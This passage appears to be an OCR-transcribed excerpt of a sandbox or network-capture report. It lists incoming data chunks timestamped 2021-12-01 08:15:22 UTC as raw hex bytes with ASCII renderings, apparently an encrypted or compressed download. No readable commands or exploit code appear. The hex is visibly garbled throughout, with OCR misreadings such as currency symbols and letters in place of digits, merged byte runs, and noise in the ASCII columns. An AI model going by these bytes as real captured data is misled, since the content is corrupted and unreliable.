dc d0 61 2b 5f 76 38 da 35 2d db 76 25 66 ca 97
Data Ascii: 2h=:A<.\NZj=]DWD*EyA,ZD5)@&n*p+1V$)ES?E "+ (3DzMTcl#OU[f"~g5Im8Fe,bS}lla+_v85-vo%f

2021-12-01 08:15:22 UTC 1361 IN Data Raw: 50 1b b9 e2 97 72 0a f2 12 1a 23 07 ee fd 53 e8 43 f1 fe 28 bf 18 33 25 08 78 e5 b2 18 e7 8b af 91 9d c0 07 81
30 b7 81 d1 81 2c 5f f1 86 9b Ob 5d 18 4d 37 ee b0 ab a5 74 28 76 90 41 e0 6¢ 77 e4 b7 11 Oc b2 6a 77 ce 9a c3 6e 6f 10
f3 a9 09 6¢ 07 b5 8e 75 14 cb 29 c0 3f 40 10 8a 13 4e ec 3d 8a 40 d6 38 5b 83 74 b2 fa d4 10 4d 2f fa e7 96 20 a5 bf 86
28 b0 10 af 2c a2 ae dc c0 a4 5a 9f ba d2 1f 16 13 91 1d 3c 80 7c 15 0c 92 79 7d 53 40 d7 ed 1d 56 20 ea al e7 57 c8 Oe
fe 1f 61 57 fd a6 6¢ a4 49 b0 04 e5 8f bb 47 69 50 a9 4f 9f 5e e4 ca b3 61 fa 37 dd ee 94 66 8a 8a db 8d ec 9f db d7 ed Of
8c 58 b7 cb 4b Ob 65 06 f2 c2 4a 8f 26 23 64 e4 10 f3 25 b1 39 71 12 46 55 8d f7 al 83 c6 82 bc €2 3¢ 82 93 11 5b e2 25
5f f8 d8 f7 02 5b 45 cf a5 2d 9a 63 d6 f8 09 4e 2a
Data Ascii: Pr#SC(3%x0,_]M7t(vAlwjwnolu)?@N=@8[tM/ (,Z<|y}S@V WaWIIGiIPO"a7fXKeJ&#d%9qFU<[%_[E-cN*

2021-12-01 08:15:22 UTC 1377 IN Data Raw: d4 ad e6 99 f8 b5 72 56 8b f6 b6 7d 02 b2 bb c8 eb 7e 6b 92 6f 62 40 9c 6b 62 38 dd 56 d4 d2 4e 6f b0 48 9e
4162 60 42 ec 3d 5f 17 5a el 93 23 4c f1 ¢9 94 9d 4d 5b d0 8a le 77 ff fc 4a ab Oa c3 a6 6b 5¢ 70 9b eb 8b 7a b2 54 al
859 67 6a 97 c9 5a 8¢ 74 6f 29 1f 40 46 €9 90 f0 52 a4 4b 3b bd 24 b3 d3 a5 3c 39 23 a3 f1 de d9 b4 15 43 a0 f1 82 c9
4829 b9 d6 52 11 8f 81 0d 22 66 fe 39 7c b6 36 23 bf 9a 32 e1 00 24 8e 5¢ a5 22 89 6a a4 6f ec f3 18 0d 41 3b a6 17 03
42 7a0d f3 76 24 92 9c 1e 67 2c c2 17 91 c9 aa 4d al 5d f7 6a 65 fd 33 ff b3 4b 51 b9 ec e2 3f fb 97 8b ec 43 a4 a9 cc 38
e5 2d 30 23 16 db 90 cc 64 1a 7d 9b 00 47 03 6d c3 6d 64 93 1f 42 3b 6e b4 1e 85 38 39 f6 b6 7a 1d ba a4 27 c7 3e d0 Oe
81 13 85 14 1d 40 8e c9 aa 80 d6 f9 e0 e0 e bc 4b 24
Data Ascii: rV}~kob@kb8VNoHAb B=_Z#L M[wJk\pzTgjZto) @FRK;$<9#CH)R"f9|6#2$\"joA;Bzv$g,M]je3KQ?C8-0#d}G
mmdB;n89z'>@K$

2021-12-01 08:15:22 UTC 1393 IN Data Raw: c1 6b 12 18 db f8 3a 3a 43 95 7a 4d bf 22 b4 fb €5 70 c0 94 8b d1 94 be 02 15 80 99 db 59 ba fc 34 7f 7d 9c 5b
a3 1e 14 67 b6 c3 2e 74 fc d4 d2 de 99 eb 91 5e ce 1c 71 fO f4 6a 62 a9 b4 32 bl f5 25 Oe 87 13 65 98 ef 3¢ d1 ff df ab Ob
a3 bf 2f 5d eb 8f 40 66 29 b4 a4 ef 19 7c 3c e7 2d 77 ed Oe cc 22 2d ba 57 cd 8e b3 4c 18 72 7b bb 63 53 11 07 5a b2 d3
ee 7¢ 52 15 2a ce 48 72 15 68 3e d6 9d 8 5f 30 d2 d8 db f2 97 fd a3 66 48 €0 16 89 4b 28 93 3¢ 07 €5 96 {6 6d 36 eb 57
70 al 7e cb Oe d6 0d 45 ef 45 el b5 ad 57 f1 b1 d7 3a 9a 6f b5 60 ca dd 50 3c f8 be 4f 58 2e 4f de 77 31 20 b0 26 a3 d6
57 3d de 99 31 6b 0d c2 c7 74 20 c6 4b 88 3c 27 4 3d 86 d8 8e 3d f8 40 b5 22 ac 8d 05 €0 d0 4a 1 66 26 f4 13 2e a8 Oa
of db 79 a1 54 7d df ea 46 4f 31 5f 5¢c ¢5 11 72 97
Data Ascii: k::CzM"pY4}[g.tqjb2%e</]@f)|<-w"-WLH{cSZ|R*Hrh>_0fHK(<m6Wp~EEW:0"P<OX.0wl &W=1kt K<'==@
"J1&.yTIFO1_\r

2021-12-01 08:15:22 UTC 1409 IN Data Raw: cb b0 9f 20 7e 79 7 ae b5 ab d2 b8 8e 9c 5 8a 3d 81 26 ee 69 7e a2 11 39 4d d8 40 6e c7 79 88 3f ba b0 4e
4e aa 61 b9 c3al3a8 735c06 7b 7106 d2 65 ee cl d6 Oc 5e fa 3c 10 66 3e bf bl fd 59 bf ca 94 46 7b a0 72 8a 25 a6 47
4f cf 72 7 16 1c 60 fb ba 5e 9f df 48 3 16 d6 5f bf 27 63 fe 68 f6 46 89 7d a2 46 2d 51 22 3b f5 78 76 84 c¢5 00 31 90 97
aa 59 74 7b fc fe 52 de Ob 86 51 d0 9d ee 90 12 8b 93 25 da 80 c2 fb ba ee 89 b5 1e f3 3ff3 d9 9¢c 7c a7 19 11 5a 2a 2b
13 62 71 72 90 c4 56 85 27 36 ea c9 01 93 6¢ 2b cd d8 e7 6e 1f 52 b9 92 ef 36 ee 82 d2 41 b9 47 55 f6 2e a8 9a a4 4a d9
el 4e 15 0a 55 25 3d 90 63 98 9 fc 49 dO 73 9c d2 6b 3a 13 96 fe 5¢c a3 a9 fO cc Oa e4 65 fO fe f2 9f 67 b8 3¢ 55 c9 el 4f
e7 a3 de c8 f6 b5 a8 05 46 03 83 32 03 f3 20 5a 9d
Data Ascii: ~y=&i~9M@ny?NNas\{qe”"<f>YF{r%GOr "H_'chF}F-Q";xv1Y{RQ%?|Z*+bqrV'61+nR6AGU.IJNU%=clsk:\e
g<UOF2 Z

2021-12-01 08:15:22 UTC 1425 IN Data Raw: cc 03 1e ¢5 9c b6 d8 47 40 42 6b 8a fO bf 72 3e c6 €9 31 61 e2 13 60 3b d8 07 9b ac aa d2 c¢7 72 75 fd 15 86
le 52 1f fc 37 €3 9f 16 d1 fa 41 d6 ae c2 bd 53 f5 3¢ 55 ad e2 bf 80 9¢ 07 14 f1 a4 al 5e 29 09 ac a6 f5 75 8d 3 bc 4b fc
24 47 66 71 28 7f 8e 1d 2d cd e9 31 65 ff 4d ed 7f b9 15 7d 31 50 b1 95 ee 47 53 c¢3 3¢ 52 83 76 05 46 8b 30 91 a8 91 25
82 7b Oe b0 c8 eb 8 5b fe ¢3 82 4e e0 65 27 df b7 fb 5f 6b 1f b4 43 53 7d f8 3a b0 2a 17 ae bd f5 e9 85 62 32 f1 Ob 1f 45
7a f4 f4 52 c3 2d 48 bf Of 7e 78 67 5e 64 42 70 c5 be 9d 6d 8d €0 1d b8 51 c1 31 2d c9 ed 83 cc c4 69 ee 36 15 38 b0 8a
80 d6 28 1a 44 b5 bd da c0 45 f3 af bd bd fa 1a 05 80 e0 ed 44 f1 b5 61 2b d4 9e 2¢ 79 99 92 49 d9 b6 5 03 d8 cd 6b d3
b8 24 69 84 e9 fc 1c be 91 be 4e 95 1a 5e Oc 80 90
Data Ascii: G@Bkr>1a’;ruR7AS<UMNuK$Gfq(-1eM}1PGS<RVF0%({[Ne'_kCS}:*b2EzR-H~xg"dBpmQ1-i68(DEDa+,ylk$iN"

2021-12-01 08:15:22 UTC 1441 IN Data Raw: 3a 01 ce 04 cc 11 01 9b 8f 8d 0a 09 38 ee d3 ab 24 c0 29 4c 1d 03 6b 17 b2 b0 58 d8 38 78 da 9d 75 2c 5f 5¢
0134 79 ec 0f cd 02 c4 62 8b d3 ea €9 4b a9 3c 89 d1 85 6a bd 80 e5 76 17 fd 42 44 9b 5e e9 el 66 e7 3a 65 ea 58 ac 58
7b d3 cb 5 ed ba ae 6e 49 4a d5 {7 2¢c 50 c7 fc 1e 53 8e 1b ff 4b 67 eb 01 56 48 d7 24 9a b9 85 98 b8 el 95 af f2 d1 98 19
14 94 69 6f b1 2f 05 73 36 6a 53 14 81 e4 eb 16 32 d3 53 88 4f ff 69 5f 2b 4f 25 38 82 de 8f al c5 ce 1a 9b b5 7f 3¢ 7f b0
3a 2f41 9222 09 71 e6 2e ed c8 52 93 86 ff 7d Ob 68 a3 8e 12 31 4d 80 89 d7 Of b8 9f 29 d3 2c 43 ab b2 3a 40 af 93 20
6¢ cc fe d0 a6 81 e2 9f 21 5f 95 5e 06 05 3a 14 {7 dc f0 6¢ Oe 79 62 50 29 ae 84 70 ec 4f 33 69 ed c1 17 Of ac 90 b4 7e 37
0a 9f 27 3c ae Of 7a €9 91 cc a4 1f 06 7a f5 d9
Data Ascii: :8$)LkX8xu,_\dybK<jvBD*f:eXX{nlJ,PSKgVH$io/s6jS2S0i_+0%8<:/A"q.R}h1M),C:@ I!_":lybP)pO3i~7'<zz
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 1457 IN Data Raw: 89 16 f1 10 1d 20 6b 85 8d 45 48 35 04 bl e5 de f4 58 72 1b 46 f2 2a 21 7c 3a df e8 12 6f 17 27 35 e0 65 9f 50
d6 8b fa 2e df 35 d6 97 c2 3c a9 3d ba 50 3f b0 1b 30 42 f3 a6 67 0d 1f 57 6c fa c3 6a 79 e7 cc af 0d 87 0f 5a b7 d3 62 71
4140 7b 91 f5 e2 fa 15 fd 48 59 18 9e 86 cd 99 d3 ba 91 Oe fc ae 48 a6 ae 50 50 d2 58 12 57 c7 84 cc 76 d9 18 2e fe 53
€7 0552 40 cc 49 al dd e6 c5 be ec 53 6d 36 52 42 2b 7f b5 53 44 5¢ ff c2 d8 f8 05 95 2f d3 63 22 24 2d 23 8f cc ca 74 aa
17 bc 87 c3 54 a2 23 fe 3a b6 41 57 82 61 f4 37 27 5f 89 03 fb 61 94 e4 3f 9f c8 c6 80 2a 40 03 b1 37 63 26 9d ed b1 d5 f6
b3 10 06 3d 27 ec 19 e7 83 03 83 21 af 23 a0 57 1b f7 5d ec df b9 b5 13 8a a4 2a f9 cf cf 6¢ 87 cb 77 7f bf 3c 31 5a 59 ac
87 a2 3a db 53 67 9b 60 €3 b0 6e 1a 17 c8
Data Ascii: KEH5XrF*!|:0'5eP.5<=P?0BgWIjyyZbgA@{HYHPPXWv.SR@ISm6RB+SD\/c"$-#tT#:AWa7'_a?*@7c&="#W]*
lw<1ZY:Sg'n

2021-12-01 08:15:22 UTC 1473 IN Data Raw: 6b €9 54 2a 47 c8 4a 64 4e 63 ¢3 08 9d f3 f9 52 79 30 20 e3 06 2c ec 55 38 a8 03 el ff c4 59 03 58 13 ef be 74
79 1f 1d 75 ¢9 35 ¢2 55 f6 07 5f b0 70 03 df 19 e6 c3 a2 99 5b 67 6e 78 bf c3 98 81 85 dc 4a 58 8d 92 c5 26 25 b7 05 bhd &
69 d7 74 5a 3b 75 75 7c 1f 9d a3 21 98 7e c1 78 ad 18 da 58 b2 7f d8 5e d3 dd al 66 6b a5 7a a0 f0 12 7c 94 8b 36 be 76
4f 96 37 aa ef 7b 58 97 47 f2 77 b0 f4 dd 09 a0 42 fa 90 fe 48 10 44 ea 84 e3 ed f9 94 76 d3 89 e9 6f c6 1a c6 6d 7 4b ae
06 07 3e €3 88 b2 4950 01 c1 b2 11 37 3a fb 68 b0 1c 90 22 36 a6 d3 78 el 35 2f 04 34 47 ac al 3c de 6¢ bf fb a3 69 b3
bf 8b 49 fa ea 34 f4 3f 41 f3 86 c8 b6 29 44 c0 d1 65 b9 ff 19 7c ab f9 84 ee a5 33 1d 62 c¢5 55 db e7 1d 51 6e d3 87 f9 ea
09 77 e8 2c e7 f5 8c Ob 4e Oe 59 b3 05 59 92
Data Ascii: KT*GJANCRYO ,U8YXtyu5U_p[gnxJX&%itZ;uu|!~xX"fkz|6vO7{XGwBHDvomK>IP7:h"6x5/4G<lil4?A)De|3
bUQnw,NYY

2021-12-01 08:15:22 UTC 1489 IN Data Raw: 60 f5 63 66 65 70 70 51 71 c8 61 ef d8 81 58 6f 10 e0 2b de 9b 26 d3 42 20 63 b8 74 8f 4a b7 e7 59 fc 4d c0 83
8a 5d ca82 7e 14 13 a5 67 5d 1d 5b ec 3b {7 ee e6 0f 2e db 55 92 cc 4c 7c ca 9e 18 69 09 76 23 15 f4 e8 d5 Of 36 af a4
e6 92 e8 42 d0 f1 a0 28 a7 c3 bd 9c fe f5 af 36 68 24 77 25 eb da db 27 f3 99 3d 7c da 05 02 b1 ee 22 c5 77 8e b9 15 50
13 5b 2f fa 14 5d 53 ¢3 41 1e cc da d4 d9 7c c5 2a 8e db df b4 b4 0f 5¢ 68 8d 6f d8 b3 06 f7 3a 15 95 a5 33 f1 31 fc 27 af
15 36 ff b5 al 85 a5 31 97 14 99 f8 ee 62 31 a9 c7 cc 5f 96 Oc a0 72 e4 e6 a0 2d dc 80 68 4a Ob 9b fd de 66 1b 5 1c 1b cd
24 32 db f3 af 69 c6 0d 34 a3 8a 02 ab 51 7f 98 dc d1 e9 9a 2c 2c 4b 06 da 17 0d 43 c8 24 d9 56 2b 36 bb f8 21 Ob da 80
ebcl 79 a4 d1 1b 42 c3 6a 64 87 9f 3c 34 86 71
Data Ascii: “cfeppQgaXo+&B ctJYM]~g][;.UL|iv#6B(6h$w%'=|"WP[/]SA[*\ho:31'61b1_r-hJf$2i4Q, KC$V+6!yBjd<iq

2021-12-01 08:15:22 UTC 1505 IN Data Raw: 52 9¢ 93 68 17 de 7c bd ff 29 fc 5e ad 35 el ba 12 ad e0 09 d3 Ob ff e7 4b 8f 8e 38 76 fb 2c 86 db 48 fb ed d9
af 56 db 4d b5 6f 48 3b 54 57 ee 57 2e af 31 39 df 4e 6e 33 27 3 24 18 4e c9 3f 2a ff 40 2c e0 7e f8 7c 5¢ 38 bd 35 cd ec
93 2fd9 66 7b 68 59 82 8a 99 c2 3b 42 b5 0d 17 86 d7 b3 d4 29 2d 60 6a c7 37 Oe d5 95 c0 da 81 c9 c1 47 13 94 ad c6 dc
cla5d8 17 e3 89 a2 d7 c5 60 cd fa 22 c0 5d 19 cf ae 5¢ 0a 7e 50 28 33 Oc 2a 96 70 8f d3 el 12 74 3c 3f 6f c5 Oe 87 d7
59 21 9c 6a 18 cf cd 06 28 f2 07 0d d5 63 5a 5f €9 ae d3 2a e8 92 7f fe 7a c8 bf 3b 24 ¢5 91 2f 60 el Of f1 79 77 3a b5 3e
7d 5d d3 4a el a4 5d 41 c2 3 14 3e 89 b9 21 95 07 78 0f 6f 5a f2 d2 bf 3a 8d 66 77 d9 dd ca a0 4f 8e 27 85 b4 14 el a4
d1 f8 58 7d 9d b2 3a 57 fc 69 b8 65 30 8a al ad
Data Ascii: Rh|)"5K8v,HVMoH; TWW.19Nn3'$N?*@,~|\85/f{hY;B)-'j7G"|\~P(3*pt<?0Y!j(cZ_*z;$/"yw:>}]J]A>Ix0Z:fwO'X}
:Wie0

2021-12-01 08:15:22 UTC 1521 IN Data Raw: 06 46 f8 45 3b 51 62 90 00 46 62 2a 93 73 07 24 d7 c4 e7 75 4f a3 4b fd 63 a5 el bb €8 4d 00 1a 7b f9 d7 b9
61 23 f1 5e 80 a5 84 a5 80 39 3a f6 5f 94 3f 6¢ 17 5b b7 a2 77 56 26 4b 99 15 a7 2b c5 be 37 d8 57 c¢7 el 90 f1 9f 2f 92 2¢
14 1a 08 34 79 ca 3a 34 ea dc 3a 3f 39 64 0d 73 de d1 b8 6b 33 06 66 a7 e3 ed ed fd Of 2c a5 e3 ae d9 61 bc a5 a9 fc 08
ed 84 79 53 1f 87 72 b7 20 a4 b3 31 6a 11 5d bd 06 ea e8 14 79 65 4d d1 9c a0 fO 7b 86 4a 18 f0O b6 fe cd 32 d2 fa a8 88
52 45 4a 1f 3a 21 85 16 21 54 b2 f1 46 Oa 32 2d 4d 86 52 ac de a7 87 8f f5 b4 59 1e 7d 5e aa 65 fd 47 8c e4 f5 7d 00 29
8490 b4 75 77 8c 73 03 da 69 45 46 27 12 48 63 62 a5 fc 1e 07 {7 f4 5b cd ad 84 91 99 fc 11 77 5e 73 df ce c0 6a 99 b2
dd 49 a4 97 2c f1 12 ab 82 36 02 1d 8a aa e6 86 37 4f
Data Ascii: FE;QbFb*s$uOKcM{a#"9:_2I[wV&K+7W/,4y:4:29dsk3f,aySr 1jlyeM{J2REJ:!ITF2-MRY}"eG})uwsiEF'H
cbw”sjl,670

2021-12-01 08:15:22 UTC 1537 IN Data Raw: e8 af 8b 19 a8 38 be a4 30 46 38 e5 c5 a4 28 87 09 99 6e 70 3f 81 fd 6a 4c 3e 93 7d 19 ae 08 65 2d ae 74 20
9 c2 ba 3c 85 d6 9c 53 €9 d1 c9 b9 3d 6¢ 38 d6 a9 el b0 48 a2 bf al 37 25 64 Ob d1 d7 9d 71 e9 ca f8 19 15 d0 62 fb 7e
3e a2 79 8d 58 ff el 27 5f e6 d5 4e bb be ee 3e fb be d0 0a 42 74 ea b0 50 1d 5¢ 35 cc f3 32 9e ca c8 ¢l 7a a7 d7 79 78
613b 75 7d 49 b6 1a 47 01 97 9a ea d3 Oe 13 75 €8 1d 13 f7 f1 56 bb 22 85 e7 af al 0f b9 b1 bf 3f dc b7 79 e2 db 3f 5f b0
8b a9 4e 89 5e 62 e6 2d 63 51 7d 22 47 d5 66 Ob 63 14 93 2d ff 32 f0 €3 04 ef b3 75 36 46 5c ea 29 f8 97 aa 3b 6¢ 66 ee
€6 60 23 3c 44 11 3b 6a 8c ed a9 cb 22 53 07 c4 a6 6d c9 da b4 a6 7 8a e3 93 37 d2 fe 5¢ d8 bl cd 8c 2e eb 36 fa 40 cc
49 58 f9 99 a6 aa 65 37 66 8f b6 11 32 1f 20 4b bf 94
Data Ascii: 80F8(np?jL>}e-t <S=I8H7%dgb~>yX'_N>BtP\52zyxa;u}lGuV"?y?_N"b-cQ}'Gfc-2u6F\);If #<D;j"Sm7\.6 @IXe7f2
K

2021-12-01 08:15:22 UTC 1553 IN Data Raw: 04 95 53 22 77 7a 2c f1 21 69 3 62 ce 3d 95 46 00 d2 ee e5 e5 e9 el f6 e8 72 81 75 fc Oe dO 50 6d be 76 d7 df
56 51 26 31 cd b6 8e 61 63 ee 8a 70 8a ab 84 81 99 da ba 83 bc d8 f2 16 63 7d fa c4 ef 25 6a 33 ¢3 78 b4 eb 7a aa 2d Oa
e2 dc 49 b0 e5 e5 19 07 35 cd ff 52 ¢2 1c¢ 2d b5 ¢9 97 a5 ae 00 ce e0 c1 19 6a d1 4c 8a 57 aa 1b 37 9b 4e 3a 2f 49 49 {7
f4 ad 98 bc Oe cd 99 cb 0f al a9 7c fc 6a 21 f1 f9 9b ae a9 1b 08 98 al 7c 15 39 58 35 73 6f 39 f3 {3 c8 8d d6 ea 34 fc 9b
85 3e 53 07 49 92 1c 55 10 c2 3d 5e 1a 5f 2¢ fe d7 03 5a d4 4b 93 1a 5e Oa ec 18 be 81 78 ea 38 89 1e a5 a4 c6 a0 e6 b0
4a 22 e6 50 56 fd 5a e4 13 bf e2 7a 5f el 20 99 7e aa f7 42 26 bb 96 21 20 49 9d 1b f8 3b ce 2f 4a a5 80 a0 a3 73 30 bd
71 f9 3c f5 aa d3 70 15 71 Ob 45 f1 Oe 4c d1 83 a9
Data Ascii: S"wz,lib=FruPmvVQ&1acpc}%j3xz-I5R-LW7N:/II[j!|9X55094>SIU="_,ZK"x8J"'PVZz_ ~B&! I;/Js0q<pqEL

2021-12-01 08:15:22 UTC 1569 IN Data Raw: 53 01 37 cd 36 9b 8c 86 ff f3 c2 df 15 62 e7 d6 b0 8b 2a 3e 8d a4 c7 d3 ff 1d 9a 5b 79 38 76 3f c9 25 7e 3f 4b
207281 a7 b3 16 a7 2b b6 76 dd 69 bl 4f 50 a5 49 al 3c 62 e4 27 c8 84 43 47 4 f3 8d eb ec 79 79 a6 6e d4 61 €8 04 02
f2 29 35 3f bd 55 cd 3c b8 e6 b8 1f 6¢ Oa dc al c1 05 db dc 76 ce 74 af d5 Oe 87 a7 a7 6e 8c a5 d2 ff 45 71 81 36 30 al da
34 4f c7 88 3d e7 el 0d bb 03 d6 02 2b 06 94 22 de a9 7b 69 1d 9f d1 1d d9 8f f5 80 81 5a 5¢ 91 3c e7 6d db 51 b4 de 05
fa a6 4c 7e al f3 5b O f2 23 68 83 49 7c 78 04 8a 2f 22 b1 de 14 5b 89 6d 04 bc 88 el 9e 4c 81 42 32 bf c2 36 da a6 06 2e
79 c4 2d d2 79 79 e9 be 8 31 85 d7 07 d7 19 cf d0 98 29 29 b1 8¢ d5 3d 49 90 86 07 38 7b 6d ac 6¢ 40 93 fa a4 31 9b la
cc ch el a8 82 db 92 Ob 8c ¢2 9a 95 09 c4 64 4d
Data Ascii: S76b*>[y8v?%~?K r+viOPI<b'CGyyna)5?U<IVtnEq6040=+"{iZ\<mQL~[#hlI|x/"[mLB26.y-yy1))=18{mI@1dM

2021-12-01 08:15:22 UTC 1585 IN Data Raw: 09 38 30 fd 98 26 4e 8e 78 37 bb 30 d5 ab 78 51 9e a4 8a 98 7c 7e 73 ff bd 18 8f ac 19 e0 d6 1f 6¢ bf fc c9 bc
3c 26 04 0c 61 43 b8 2a el 0d 58 dd 49 2c 8a f0 d2 dc cc 5b 2b e6 5f b4 b9 57 17 Oc bd 5d cb bb a7 e7 cb b5 00 53 73 8f
ba eb 11 cf a9 72 d2 aa 2b ea 36 f2 06 Oe 1b b4 cO df b5 68 68 Ob f4 46 79 99 78 7c 22 d1 a4 1f 1c 45 24 16 57 c0 6¢ 90
34 52 65 fe 5f 18 5d ab d1 c1 0f 7c 5b b7 ae aa 51 5e 38 86 ce 66 fd b6 bd 9d 19 d1 7e b0 ¢9 1f 19 8c 01 {7 c9 49 a5 dc 4d
19 5c d3 4a 3f 07 60 64 38 2e bf ba 45 16 c6 e6 26 6b 55 63 48 ae 61 94 7c ed f2 19 66 ad f3 e2 43 91 64 97 53 7a aa 57
a7 14 5d 16 4b a4 33 ¢6 57 b6 Oc cc 19 5d d7 b6 ff f2 a4 97 70 d8 Of 6¢ 07 48 af f7 4c 6b 2f 8f 3a €3 64 7b d9 51 19 c0 d1
83 56 bc 45 1c 23 50 45 fa df Oc 94 57 f4 34 88
Data Ascii: 80&Nx70xQ|~sl<&aC*XI,[+_W]Ssr+6hhFyx|'E$WI4Re_]|[Q"8f~IM\J?"d8.E&kUcHal|fCdSzW]K3W]pIHLk/
:d{QVE#PEW4
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 1601 IN Data Raw: b5 fb ee 3d a6 4f 2f 14 36 49 bb 1c 74 e2 67 30 c6 84 fb c6 ee ce c3 0551 f9 17 ¢7 d9 74 19 aa 3d 90 1la 8d 3c
€8 33 4e 30 5d 98 8c 85 40 28 5a 70 €9 d3 8d ad 82 10 €0 79 04 a3 74 27 fb 5e a2 44 9b b0 9e f0 2d 58 be 5f a0 eb 59 fe
6a le d6 53 a0 59 5f 96 35 4f 18 84 c4 f2 8e 32 a8 93 al d1 3c 03 b4 75 7c d6 47 8d a3 eb ba 09 ed 30 48 6d a6 08 15 ab
a7 c9 58 f3 bd 9b bf 68 91 7 f0 94 1c b4 c6 44 84 3e 6 41 12 b8 fe 70 27 3b 17 e0 14 09 49 6e ba a8 c7 84 b1 b5 98 42
c7 4f 09 b8 cf 89 5a c7 d1 7d el 51 8e b0 ca c6 2f 68 1c 8b d8 68 95 ce 17 01 b6 48 1c Oe Ob de f7 57 4d d2 b7 dd 9a 6e
dc 23 6b 4d 78 3e 89 90 fe f1 71 45 5b ec ¢6 db b7 51 30 15 95 d7 21 09 a6 al Ob a9 72 04 37 12 8f a3 5e 7c 76 fb ab ce
d3 46 55 23 86 13 ea 6d df 3e 4c bl a7 el 3a cd 28 0d
Data Ascii: =0/6ltg0Qt=<3N0]@(Zpyt”*D-X_Y|SY_502<u|GOHMXhD>Ap";InBOZ}Q/hhHWMn#kMx>qE[QO!r7A|vFU#m>L:(

2021-12-01 08:15:22 UTC 1617 IN Data Raw: 6d 46 f4 15 bc f9 df 58 01 78 14 ed b0 e8 32 40 14 a7 f4 75 00 f1 d5 6¢ a6 12 36 df 59 2c 78 46 2b d9 af d6 64
b7 52 8b 8f 12 ae 7e 70 b4 98 19 98 16 89 00 36 00 fc 41 1b c4 32 0a 85 7e 67 43 27 84 81 c3 2e 6¢ 25 5f 7f 25 c1 97 02
6a 3c 92 c3 8f 1d da 47 a3 87 5¢c c2 b5 01 16 ff 1b c1 92 ff c0 e3 b9 ec e5 1d a4 8e 33 ee 75 47 6d cf b1 37 c5 19 e4 7f a0
73 fc ff ed b7 4a d0 Of fO bb 56 €0 a0 ee 11 c2 Oe ef 81 91 02 a5 97 a7 38 2c 3¢ 14 e4 7f d2 5b ac 3d 43 ea 03 55 ef 6a 85
52 9d c7 14 el 2c 80 7f de e3 df e8 b4 89 1f ba 11 2b 11 58 e0 51 7f 1b 6b 84 ae Oc 99 d1 5e f0 18 97 e3 2d 76 79 9c 97
d5 3b b2 99 97 85 04 70 f5 51 ea 2d 4e ad ba c9 11 ed 44 7d Oe c0 58 4a 59 82 cd 36 61 c6 5e 0f db a4 Oc 6b 55 62 be 36
fa cf 2 4e 9f Oe df 9e 7f c1 1a 65 3f 3f 4f 6e
Data Ascii: mMFXx2@ul6Y ,xF+dR~p6A2~gC'.1%_%j<G\3uGm7sJV8,<[=CUjR,+XQk"-vy;pQ-ND}XJY6a"kUb6Ne??0n

2021-12-01 08:15:22 UTC 1633 IN Data Raw: 32 84 ea ec 80 ae 00 6¢ b3 f5 b1 83 fa 34 28 e5 al 36 16 96 0d 2a f5 6e 15 ae 4b 80 da 37 a7 89 bc e7 cb 90 f9
b1 36 3f a7 eb bc 73 5¢ 11 59 75 dd 90 f4 32 cb 7d 82 b3 1f d3 79 41 30 el 20 c9 c1 e2 44 34 af 7c 34 35 3b 28 13 2f 83
81 33 da 90 1b 12 6b dc 2f 34 1c 7c fc 7f 33 08 41 Ob 27 b1 1b 4b 3c 82 ce 5c ca eb 0f ¢7 cf ba d7 8b 5b a5 b7 53 40 6a 60
56 87 cf ac 55 d1 da ce 34 ef d7 45 f4 1f d5 35 41 al df 62 18 d5 ba 1b 57 Oe 71 97 5f 1d d5 9f 96 eb 06 81 a9 5f 9c 08 e6
ad d0 96 bb 0d 3f 37 be 21 33 dd 6a a5 81 d9 f5 al 75 e8 e3 c9 dd b2 0d ce d5 74 90 e5 e4 45 9d f5 69 79 3d 6d a4 55 6¢
1b 4512 8b 0d 32 b2 a8 e2 c0 df cb cc ac c7 b1 ac 0d Of 84 50 fe ca 46 5e 7d 37 78 99 1e 8b af df 10 b8 38 03 d8 9b e5
c6 f3 e5 8e bd 29 70 18 10 e7 50 5d ba ac 15 2f
Data Ascii: 214(6*nK76?s\Yu2}yAO D4|45;(/3k/4|3A'K<\[S@j VU4ES5AbWq__?7!3jutEiy=mUIE2PF"}7x8)pP)/

2021-12-01 08:15:22 UTC 1649 IN Data Raw: 09 b8 07 ae 06 46 27 97 78 40 05 6f 1f cd 9f Ob 4d 5b 95 3a 62 b8 ff bd 6e 21 74 4f 81 3c 33 e6 22 20 a4 e8 8¢
b1 c9 23 fc 98 64 b3 4a 17 e8 93 dc 19 ed 42 6d 39 83 eb 69 e6 86 d9 53 f3 49 a6 27 31 6e f6 3d ee 55 8¢ 62 60 36 07 aa
fd 2f 63 b6 3e 6d 82 dO 56 8c 77 42 da 60 15 3b 33 4d aa eb a6 ad fe c2 55 cf 00 65 04 3c 73 a0 e6 aa bd 82 c8 af f6 29 5¢
44 7f 8c bl 21 87 c6 ce 4a 43 1e 8f 9f f3 8b e2 f7 4a 73 e4 5¢ 31 7c 76 ed 13 51 f6 2f 00 39 47 el 89 aa ee 6¢ 22 dc 74 42
5b ec fc 71 e4 a2 21 b9 26 77 21 b9 04 f2 69 ¢7 90 64 7c 94 e2 54 1a 7b 72 1a 23 77 f2 6¢ 55 17 37 81 16 a1 43 70 85 le
85 af a6 57 8f 17 ¢3 ¢5 9f 69 71 72 28 05 dc 31 ¢8 44 29 f2 d4 8f 32 Ob ef 8d 96 2e 69 d9 12 b5 29 49 a2 6b 10 11 99 4c bf
96 d2 07 84 85 5c 41 Oa a4 78 f3 a2 0d ed 41
Data Ascii: F'x@oM[:bn!tO<3" #dJBm9iSI'1n=Ub"6/c>mVwB’;3MUe<s)\D!JCJs\1|vQ/9GI"tB[q!&w!id| T{r#wIU7CpWiqr(1D)2.
i) IKL\AXA

2021-12-01 08:15:22 UTC 1665 IN Data Raw: d0 86 02 01 3a 15 9e 5e ¢5 71 38 82 70 95 f7 85 af 42 10 0d de 9e 37 54 ae c3 8b c4 f0 43 bc 64 80 e6 3d b9
380 9d 2d cb cf 0d 84 65 31 8f d1 47 fc a0 f9 bd f7 cb a4 99 dd 4d eb fe da 1a 27 56 06 22 3b 5f 80 91 26 fb 5a 3d 42 82
bf 53 12 6¢ 90 35 84 d8 fb 77 cb 26 c6 08 10 dc b7 3b b6 73 02 67 c0 5b e9 3d ec 83 cd 5b 95 bc 54 0d 2b e8 4f 1d 34 4e
b3 be 26 78 1e 53 bf b5 25 b7 46 72 a0 a0 f7 35 c5 af 97 1b 25 67 98 1a 9c ab d6 06 62 6b a5 64 f8 47 02 8e 36 €3 €9 2b
